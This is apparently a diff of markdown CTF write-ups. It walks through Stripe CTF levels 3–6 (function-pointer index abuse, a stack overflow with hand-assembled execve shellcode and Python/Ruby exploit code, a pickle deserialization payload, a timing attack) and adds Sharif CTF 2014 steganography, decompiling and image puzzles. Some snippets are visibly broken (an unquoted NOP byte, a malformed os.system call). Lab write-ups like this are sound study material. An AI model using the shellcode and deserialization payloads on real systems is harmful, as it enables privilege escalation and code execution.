Note: In the LiveCD this level is modified to use Python and [Flask](http://flask.pocoo.org/docs/0.10/). Luckily, I had some previous experience in Flask (check out my [Anti-Social Network]()) and it was pretty easy to spot that the Pyhton code does *exactly* the same thing as the one above.
|
||||
|
||||
|
||||
|
||||
---
|
||||
## Level 3: Failure in Input Validation
|
||||
|
||||
The third level comes with another **setuid** binary with the purpose of modifying a string:
|
||||
|
||||
```
|
||||
$ /levels/level03
|
||||
Usage: ./level03 INDEX STRING
|
||||
Possible indices:
|
||||
[0] to_upper [1] to_lower
|
||||
[2] capitalize [3] length
|
||||
```
|
||||
|
||||
The C code is also given:
|
||||
|
||||
```
|
||||
|
||||
#define NUM_FNS 4
|
||||
|
||||
typedef int (*fn_ptr)(const char *);
|
||||
|
||||
int to_upper(const char *str)
|
||||
{(...)}
|
||||
|
||||
int to_lower(const char *str)
|
||||
{(...)}
|
||||
|
||||
int capitalize(const char *str)
|
||||
{(...)}
|
||||
|
||||
int length(const char *str)
|
||||
{(...)}
|
||||
|
||||
int run(const char *str)
|
||||
{
|
||||
// This function is now deprecated.
|
||||
return system(str);
|
||||
}
|
||||
|
||||
int truncate_and_call(fn_ptr *fns, int index, char *user_string)
|
||||
{
|
||||
char buf[64];
|
||||
// Truncate supplied string
|
||||
strncpy(buf, user_string, sizeof(buf) - 1);
|
||||
buf[sizeof(buf) - 1] = '\0';
|
||||
return fns[index](buf);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int index;
|
||||
fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length};
|
||||
|
||||
if (argc != 3) {
|
||||
printf("Usage: ./level03 INDEX STRING\n");
|
||||
printf("Possible indices:\n[0] to_upper\t[1] to_lower\n");
|
||||
printf("[2] capitalize\t[3] length\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
// Parse supplied index
|
||||
index = atoi(argv[1]);
|
||||
|
||||
if (index >= NUM_FNS) {
|
||||
printf("Invalid index.\n");
|
||||
printf("Possible indices:\n[0] to_upper\t[1] to_lower\n");
|
||||
printf("[2] capitalize\t[3] length\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
return truncate_and_call(fns, index, argv[2]);
|
||||
}
|
||||
```
|
||||
|
||||
In problems like this, the attack surface is usually any place where there is input from the user. For this reason, our approach is to take a look at the arguments taken in the main function, checking for the common memory and overflow vulnerabilities in C.
|
||||
|
||||
A vulnerability is found in the failure of checking for negative inputs:
|
||||
|
||||
```
|
||||
#define NUM_FNS 4
|
||||
(...)
|
||||
// Parse supplied index
|
||||
index = atoi(argv[1]);
|
||||
if (index >= NUM_FNS) {
|
||||
(...)
|
||||
exit(-1);
|
||||
}
|
||||
```
|
||||
|
||||
Moreover, the **index** variable is used in the function **truncate_and_call**, where the function **fns** can be overflowed:
|
||||
|
||||
```
|
||||
typedef int (*fn_ptr)(const char *);
|
||||
(...)
|
||||
fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length};
|
||||
(...)
|
||||
int truncate_and_call(fn_ptr *fns, int index, char *user_string)
|
||||
{
|
||||
char buf[64];
|
||||
// Truncate supplied string
|
||||
strncpy(buf, user_string, sizeof(buf) - 1);
|
||||
buf[sizeof(buf) - 1] = '\0';
|
||||
return fns[index](buf);
|
||||
}
|
||||
```
|
||||
|
||||
The exploitation plan becomes easier when we notice that right before **truncate_and_call** we have this convenient function:
|
||||
|
||||
```
|
||||
int run(const char *str)
|
||||
{
|
||||
return system(str);
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Description of the Exploit
|
||||
|
||||
To understand this problem we need to understand the [design of the stack frame](http://bt3gl.github.io/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html). With this in mind, the exploit is crafted as follows:
|
||||
|
||||
1) We input a malicious index that is negative (so it pass the bound checking) to have a shell running ```system("/bin/sh");``` (which will be able to read password of level3 because it will have its [UID](http://en.wikipedia.org/wiki/User_identifier_(Unix))).
|
||||
|
||||
|
||||
2) We first need to find the memory location before **fns** (which should be writable). We fire up **gdb** and search for the pointer to **buf**, which is right before **fns** (this is different each time due to [ASLR](http://en.wikipedia.org/wiki/Address_space_layout_randomization)):
|
||||
|
||||
```
|
||||
(gdb) p &buf
|
||||
(char (*)[64]) 0xffbffa00
|
||||
```
|
||||
|
||||
3) We check **index** (where 4 is **sizeof(*fns)**), and subtract **buf** from to the pointer to **fns**:
|
||||
|
||||
```
|
||||
(gdb) p (0xffbffa6c - 0xffbffa00)/4
|
||||
27
|
||||
```
|
||||
So running an argument such as */level/level03 -27 foo* calls **fns[-27]** which is **&fns-27** times the size of the pointer.
|
||||
|
||||
|
||||
4) We will assign **buf** to a shellcode that will spawn the privileged terminal using the function **run**, which is at:
|
||||
|
||||
```
|
||||
(gdb) p &run
|
||||
(int (*)(const char *)) 0x80484ac
|
||||
```
|
||||
|
||||
5) Stripe's machines were [little-endian](http://en.wikipedia.org/wiki/Endianness) so the address of **run** is **\xac\x84\x04\x08**. We write the memory location of **&run** into **buf**, since **buf** is just a ```strcpy``` of the second argument. In the end, we want to call:
|
||||
|
||||
```
|
||||
$ run('\xac\x84\x04\x08');
|
||||
```
|
||||
|
||||
6) Running it with the length of the directory (remember that the function pointer must start on a multiple of 4 characters) gives our password:
|
||||
|
||||
```
|
||||
$ /levels/level03 -21 "cat /home/level03/.password $(printf '\xac\x84\x04\x08')
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
---
|
||||
## Level 4: Classic Stack Overflow
|
||||
|
||||
Level 4 is about a classical Stack Overflow problem. Once again we get a **setuid** binary, together with the following code:
|
||||
|
||||
```
|
||||
void fun(char *str)
|
||||
{
|
||||
char buf[1024];
|
||||
strcpy(buf, str);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
if (argc != 2) {
|
||||
printf("Usage: ./level04 STRING");
|
||||
exit(-1);
|
||||
}
|
||||
fun(argv[1]);
|
||||
printf("Oh no! That didn't work!\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
In this challenge, the input string is received by the function **fun**, and then it is copied to the buffer. Since ```strcp``` does not perform bounds checking, if our string is larger than 1024 characters, it will keep copying until it reaches a NULL byte (0x00). This [overflows the stack](http://phrack.org/issues/49/14.html#article) and makes it possible to rewrite the **function return address**.
|
||||
|
||||
The input for the **fun** function is going to be 1024 bytes (which starts at **&buf**) with several [NOPs](http://en.wikipedia.org/wiki/NOP) plus the shellcode. The overflowed bytes have pointers to the address of **buf** (**&buf**). We use NOPs because the system uses stack randomization. If **&buf** points to any of the NOPs, the shellcode will be executed.
|
||||
|
||||
|
||||
### Yet Another Shellcode Introduction
|
||||
|
||||
Shellcode can either be crafted directly in Assembly or reproduced in C and then disassembled in **gdb** and **objdump**. The second approach is more prone to errors.
|
||||
|
||||
Let's write the simplest shellcode we can think of, which simply spawns a shell:
|
||||
|
||||
```
|
||||
#include <stdlib.h>
|
||||
int main()
|
||||
{
|
||||
char *array[2];
|
||||
array[0] = "/bin/sh";
|
||||
array[1] = NULL;
|
||||
execve(array[0], array, NULL);
|
||||
exit(0);
|
||||
}
|
||||
```
|
||||
|
||||
With the following **Makefile** (I tend to write Makefiles for anything I compile in C):
|
||||
```
|
||||
shell: simplest_shellcode.c
|
||||
gcc -static -g -o shell simplest_shellcode.c
|
||||
```
|
||||
|
||||
Running **make** will give us our executable **shell**. Now, let's fire up **gdb**:
|
||||
|
||||
```
|
||||
$ gdb shell
|
||||
(gdb) disas main
|
||||
Dump of assembler code for function main:
|
||||
0x00000000004004d0 <+0>: push %rbp
|
||||
0x00000000004004d1 <+1>: mov %rsp,%rbp
|
||||
0x00000000004004d4 <+4>: sub $0x10,%rsp
|
||||
0x00000000004004d8 <+8>: movq $0x482be4,-0x10(%rbp)
|
||||
0x00000000004004e0 <+16>: movq $0x0,-0x8(%rbp)
|
||||
0x00000000004004e8 <+24>: mov -0x10(%rbp),%rax
|
||||
0x00000000004004ec <+28>: lea -0x10(%rbp),%rcx
|
||||
0x00000000004004f0 <+32>: mov $0x0,%edx
|
||||
0x00000000004004f5 <+37>: mov %rcx,%rsi
|
||||
0x00000000004004f8 <+40>: mov %rax,%rdi
|
||||
0x00000000004004fb <+43>: callq 0x40c540 <execve>
|
||||
0x0000000000400500 <+48>: mov $0x0,%edi
|
||||
0x0000000000400505 <+53>: callq 0x400e60 <exit>
|
||||
End of assembler dump.
|
||||
```
|
||||
|
||||
The first line is updating the frame stack pointer (**%rsp**), moving it to the top of the stack:
|
||||
```
|
||||
0x00000000004004d0 <+0>: push %rbp
|
||||
0x00000000004004d1 <+1>: mov %rsp,%rbp
|
||||
```
|
||||
|
||||
|
||||
Then it subtracts 16 bytes from **%rsp**, with 8 bytes of padding:
|
||||
```
|
||||
0x00000000004004d4 <+4>: sub $0x10,%rsp
|
||||
```
|
||||
|
||||
We see this address **0x482be4** being moved to **%rsp**:
|
||||
```
|
||||
0x00000000004004d8 <+8>: movq $0x482be4,-0x10(%rbp)
|
||||
```
|
||||
|
||||
It should be a pointer to ```/bin/sh```, and we can be sure by asking gdb:
|
||||
```
|
||||
(gdb) x/1s 0x482be4
|
||||
0x482be4: "/bin/sh"
|
||||
```
|
||||
|
||||
After that, **NULL** is pushed in:
|
||||
```
|
||||
0x00000000004004f0 <+32>: mov $0x0,%edx
|
||||
```
|
||||
|
||||
Finally, **execve** is executed:
|
||||
```
|
||||
0x00000000004004fb <+43>: callq 0x40c540 <execve>
|
||||
```
|
||||
|
||||
### Writing the Shellcode in Assembly
|
||||
|
||||
Now we are able to reproduce the code in Assembly. This is important: Stripe's machine was 32-bit, and the Assembly instructions are different from 64-bit (for instance, check the 64-bit shellcode I showed [here](http://bt3gl.github.io/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html)).
|
||||
|
||||
With an **l** added to the words, the above shellcode in 32-bit machines is:
|
||||
|
||||
```
|
||||
.text
|
||||
.globl _start
|
||||
|
||||
_start:
|
||||
xorl %eax, %eax /* make eax equal to 0*/
|
||||
pushl %eax /* pushes null*/
|
||||
pushl $0x68732f2f /* push //sh */
|
||||
pushl $0x6e69622f /* push /bin */
|
||||
movl %esp, %ebx /* store /bin/sh */
|
||||
pushl %eax /* use null*/
|
||||
pushl %ebx /* use /bin/sh*/
|
||||
movl %esp, %ecx /* wrutes array */
|
||||
xorl %edx, %edx /* xor to make edx equal to 0 */
|
||||
movb $0xb, %al /* execve system call #11 */
|
||||
int $0x80 /* make an interrupt */
|
||||
```
|
||||
|
||||
To assemble and link this in a 32-bit machine, we do:
|
||||
|
||||
```
|
||||
$ as -o shell.o shell.s
|
||||
$ ld -m -o shell shell.o
|
||||
```
|
||||
|
||||
In a 64-but machine, we do:
|
||||
|
||||
1. Add **.code32** in the top of the Assembly code.
|
||||
2. Assemble with the **--32 flag**.
|
||||
3. Link with the **-m elf_i386** flag.
|
||||
|
||||
Resulting in:
|
||||
|
||||
```
|
||||
$ as --32 -o shell.o shell.s
|
||||
$ ld -m elf_i386 -o shell shell.o
|
||||
```
|
||||
|
||||
Now, the last step is to get the executable **shell** in hexadecimal so we have the instructions for the shellcode. We use **objdump**:
|
||||
|
||||
```
|
||||
$ objdump -d shell
|
||||
shell: file format elf32-i386
|
||||
Disassembly of section .text:
|
||||
08048054 <_start>:
|
||||
8048054: 31 c0 xor %eax,%eax
|
||||
8048056: 50 push %eax
|
||||
8048057: 68 2f 2f 73 68 push $0x68732f2f
|
||||
804805c: 68 2f 62 69 6e push $0x6e69622f
|
||||
8048061: 89 e3 mov %esp,%ebx
|
||||
8048063: 50 push %eax
|
||||
8048064: 53 push %ebx
|
||||
8048065: 89 e1 mov %esp,%ecx
|
||||
8048067: 31 d2 xor %edx,%edx
|
||||
8048069: b0 0b mov $0xb,%al
|
||||
804806b: cd 80 int $0x80
|
||||
```
|
||||
|
||||
Which in the little-endian representation is:
|
||||
```
|
||||
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
|
||||
```
|
||||
|
||||
|
||||
### Solving the Problem
|
||||
|
||||
Now, all we need to do is write a snippet in any language which takes that shellcode and some NOPs to overflow the stack of the *level04*'s' binary. We write the exploit in Python:
|
||||
|
||||
```py
|
||||
import struct, subprocess
|
||||
|
||||
STACK = 0x0804857b
|
||||
NOP = \x90
|
||||
SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
|
||||
EXPLOIT = NOP * (1024 - len(SHELLCODE)) + SHELLCODE
|
||||
|
||||
stack_ptr = struct.pack("<I", STACK) * 500
|
||||
array = "%s%s" % (EXPLOIT, stack_ptr)
|
||||
|
||||
while 1:
|
||||
subprocess.call(["/levels/level04", array])
|
||||
```
|
||||
This solution is possible due to the [struct](https://docs.python.org/2/library/struct.html) module, which performs a conversion between Python and C values, and the [subprocess](https://docs.python.org/2/library/subprocess.html) module, which allows us to spawn new processes. The **struct.pack** method returns a string containing the values packet in the specified format (where **<** means little-endian and **I** is unsigned int).
|
||||
|
||||
A [one-line solution in Ruby](https://github.com/stripe-ctf), was given by Stripe and it's worth to mention:
|
||||
|
||||
```
|
||||
$ ruby -e 'print "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42\x42" + "\x90"*987 + "\x7b\x85\x04\x08"'
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
---
|
||||
## Level 5: Unpickle exploit
|
||||
|
||||
The fifth level is a uppercasing **web service** written in Python, which is split into an HTTP part, and a worker queue part.
|
||||
|
||||
In this service, a request can be sent with:
|
||||
|
||||
```
|
||||
$ curl localhost:9020 -d 'banana'
|
||||
{
|
||||
"processing_time": 5.0037501611238511e-06,
|
||||
"queue_time": 0.4377421910476061,
|
||||
"result": "BANANA"
|
||||
}
|
||||
```
|
||||
|
||||
After inspecting the code, we concentrate in the suspicious **deserialize** function that contains the unsafe module [pickle](https://docs.python.org/2/library/pickle.html):
|
||||
|
||||
```py
|
||||
def deserialize(serialized):
|
||||
logger.debug('Deserializing: %r' % serialized)
|
||||
parser = re.compile('^type: (.*?); data: (.*?); job: (.*?)$', re.DOTALL)
|
||||
match = parser.match(serialized)
|
||||
direction = match.group(1)
|
||||
data = match.group(2)
|
||||
job = pickle.loads(match.group(3))
|
||||
return direction, data, job
|
||||
```
|
||||
|
||||
This is used later in the **serialize** function:
|
||||
|
||||
```py
|
||||
@staticmethod
|
||||
def serialize(direction, data, job):
|
||||
serialized = """type: %s; data: %s; job: %s""" % (direction, data, pickle.dumps(job))
|
||||
logger.debug('Serialized to: %r' % serialized)
|
||||
return serialized
|
||||
```
|
||||
|
||||
So, the program serializes jobs with pickle and sends them to a series of workers to deserialize and process the job. Once again, the attack surface is in the user input, which is not properly sanitized: this function allows arbitrary data to be sent to **; job**.
|
||||
|
||||
We can exploit it by making the serialization code execute arbitrary commands by supplying a string such as **; job: <pickled>**. This will run some Python code that will give us the password when unpickled. A great module for this task is [Python's os.system](https://docs.python.org/2/library/os.html#os.system), which executes commands in a subshell.
|
||||
|
||||
|
||||
|
||||
An example of exploit in Python is the following:
|
||||
|
||||
```py
|
||||
import pickle, os
|
||||
HOST = 'localhost:9020'
|
||||
|
||||
os.system("/usr/bin/curl", ['', HOST, '-d', \
|
||||
"bla; job: cos\nsystem\n(S'cat /home/level05/.password \
|
||||
> /tmp/pass'\ntR."], {})
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
---
|
||||
## Level 6: Timing Attack
|
||||
|
||||
|
||||
And we have reached the sixth level!
|
||||
|
||||
The goal in this level is to read the password from */home/the-flag/.password*. To complete this challenge, another **setuid** binary is given, which can be used to guess the password:
|
||||
|
||||
```
|
||||
$ ./level06 /home/the-flag/.password banana
|
||||
Welcome to the password checker!
|
||||
$ Ha ha, your password is incorrect!
|
||||
```
|
||||
|
||||
This turns out to be a case of [Timing Attack](http://en.wikipedia.org/wiki/Timing_attack), where we are able to detect the output in **stderr** and in **stdout** to find the characters that form the password (by checking the response to wrong characters).
|
||||
|
||||
But there is a twist!
|
||||
|
||||
The program works as the following: for every input character, a loop is executed. A dot is printed after each character comparison. If the guess is wrong, the system forks a child process and runs a little slower (each loop has complexity O(n^2) to the guess size, where the maximum size is **MAX_ARG_STRLEN ~ 0.1 MB**).
|
||||
|
||||
|
||||
There are several [elegant solutions in the Internet](https://github.com/stripe-ctf/stripe-ctf/blob/master/code/level06/level06.c), but a very simple possible shell exploit is the shown:
|
||||
|
||||
```
|
||||
#!\bin\bash
|
||||
for c in {A..Z} {a..z} {0..9}; do
|
||||
echo $c
|
||||
head -c35 file & sleep 0.1
|
||||
/levels/level06 /home/the-flag/.password "$c"A 2> file
|
||||
done
|
||||
```
|
||||
|
||||
**And we get our flag! Fun! :) **
|
||||
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
|
||||
* [Andy Brody's Post](https://stripe.com/blog/capture-the-flag-wrap-up)
|
||||
* [Stripe CTF Repository](https://github.com/stripe-ctf)
|
||||
* Pickle Modules is unsafe! [Here](https://blog.nelhage.com/2011/03/exploiting-pickle/) and [here](http://penturalabs.wordpress.com/2011/03/17/python-cpickle-allows-for-arbitrary-code-execution/).
|
||||
* Some other writeups: [here](http://blog.delroth.net/2012/03/my-stripe-ctf-writeup/), [here](https://khr0x40sh.wordpress.com/2012/02/), [here](http://du.nham.ca/blog/posts/2012/03/20/stripe-ctf/), and [here](https://isisblogs.poly.edu/2012/03/23/stripe-ctf-level01/).
|
||||
|
||||
|
||||
--------------
|
||||
|
||||
159
CTFs_and_WarGames/CTFs_Writeups/Shariff_University/README.md
Normal file
159
CTFs_and_WarGames/CTFs_Writeups/Shariff_University/README.md
Normal file
|
|
@ -0,0 +1,159 @@
|
|||
# The Sharif University CTF 2014
|
||||
|
||||
|
||||
## Avatar: Steganography
|
||||
|
||||
The challenge starts with:
|
||||
> A terrorist has changed his picture in a social network. What is the hidden message?
|
||||
|
||||
And the following image:
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
For this problem, I use [OutGuess], which can be installed as:
|
||||
|
||||
```sh
|
||||
$ tar -zxvf outguess-0.2.tar.gz
|
||||
$ cd outguess
|
||||
$ ./configure && make
|
||||
```
|
||||
Running it will give us the flag:
|
||||
```sh
|
||||
$ ./outguess -r lamb.jpg pass.txt
|
||||
Reading ../lamb.jpg....
|
||||
Extracting usable bits: 28734 bits
|
||||
Steg retrieve: seed: 94, len: 41
|
||||
$ cat pass.txt
|
||||
We should blow up the bridge at midnight
|
||||
```
|
||||
|
||||
__________________________
|
||||
|
||||
## What is this: Steganography
|
||||
|
||||
This challenge has a very short text:
|
||||
|
||||
> Find the flag.
|
||||
|
||||
Together with two pictures:
|
||||
|
||||

|
||||

|
||||
|
||||
After the usual inspection (tail, file, diff, compare), I applied my knowledge of a former astrophysicist to inspect what would happen if I added or subtracted the picture. I wrote the following script:
|
||||
|
||||
```py
|
||||
import sys
|
||||
|
||||
from scipy.misc import imread, imsave
|
||||
|
||||
def compare_images(img1, img2):
|
||||
diff = img1 + img2
|
||||
imsave('sum.png', diff)
|
||||
diff = img1 - img2
|
||||
imsave('diff.png', diff)
|
||||
|
||||
def main():
|
||||
file1, file2 = sys.argv[1:1+2]
|
||||
img1 = imread(file1).astype(float)
|
||||
img2 = imread(file2).astype(float)
|
||||
compare_images(img1, img2)
|
||||
|
||||
```
|
||||
|
||||
Running it, give us the flag!
|
||||
|
||||

|
||||
|
||||
--------------------
|
||||
## Guess the number: Reverse Engineering
|
||||
|
||||
This problem starts with another not very informative text:
|
||||
> Guess the number and find the flag.
|
||||
|
||||
Then it gives us a *java class* file. It was clear that we needed to decompile it. I'm using
|
||||
[jad]for this task:
|
||||
|
||||
```sh
|
||||
$ jad guess.class
|
||||
```
|
||||
|
||||
Now, opening this file in a text editor, we can see how to generate the flag:
|
||||
```java
|
||||
|
||||
|
||||
|
||||
```java
|
||||
// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
|
||||
// Jad home page: http://www.geocities.com/kpdus/jad.html
|
||||
// Decompiler options: packimports(3)
|
||||
// Source File Name: guess.java
|
||||
|
||||
(...)
|
||||
String str_one = "4b64ca12ace755516c178f72d05d7061";
|
||||
String str_two = "ecd44646cfe5994ebeb35bf922e25dba";
|
||||
String answer = XOR(str_one, str_two);
|
||||
System.out.println((new StringBuilder("your flag is: ")).append(answer).toString());
|
||||
```
|
||||
Running the modified version gives us:
|
||||
```java
|
||||
$ javac -g guess.java
|
||||
$ java guess
|
||||
your flag is: a7b08c546302cc1fd2a4d48bf2bf2ddb
|
||||
```
|
||||
|
||||
_________________
|
||||
## Sudoku image encryption - cryptography
|
||||
|
||||
This challenge starts with the following text:
|
||||
> Row Major Order
|
||||
|
||||
And it gives us two pictures: a map and a sudoku.
|
||||
|
||||

|
||||
|
||||
We solve the sudoku and write the solution in a script to reorder the blocks:
|
||||
```python
|
||||
from PIL import Image
|
||||
|
||||
|
||||
# solved sudoku
|
||||
sudoku = '''
|
||||
964127538
|
||||
712385694
|
||||
385496712
|
||||
491578263
|
||||
238614975
|
||||
576239841
|
||||
627843159
|
||||
153962487
|
||||
849751326
|
||||
'''
|
||||
s = sudoku.replace('\n', '')
|
||||
|
||||
image = Image.open('image.png').convert('RGB')
|
||||
out = Image.new('RGB', image.size)
|
||||
|
||||
for j in range(9):
|
||||
for i in range(9):
|
||||
img_cell = image.crop((i * 50, j * 50, i * 50 + 50, j * 50 + 50))
|
||||
c = (int(s[j * 9 + i]) - 1) * 50
|
||||
out.paste(img_cell, (c, j * 50))
|
||||
|
||||
out.save('out_image.png')
|
||||
```
|
||||
|
||||
This gives us our flag:
|
||||
|
||||

|
||||
|
||||
|
||||
** Hack all the things! **
|
||||
|
||||
|
||||
[OutGuess]: http://www.outguess.org/download.php
|
||||
[jad]: http://varaneckas.com/jad/
|
||||
|
||||
Loading…
Add table
Add a link
Reference in a new issue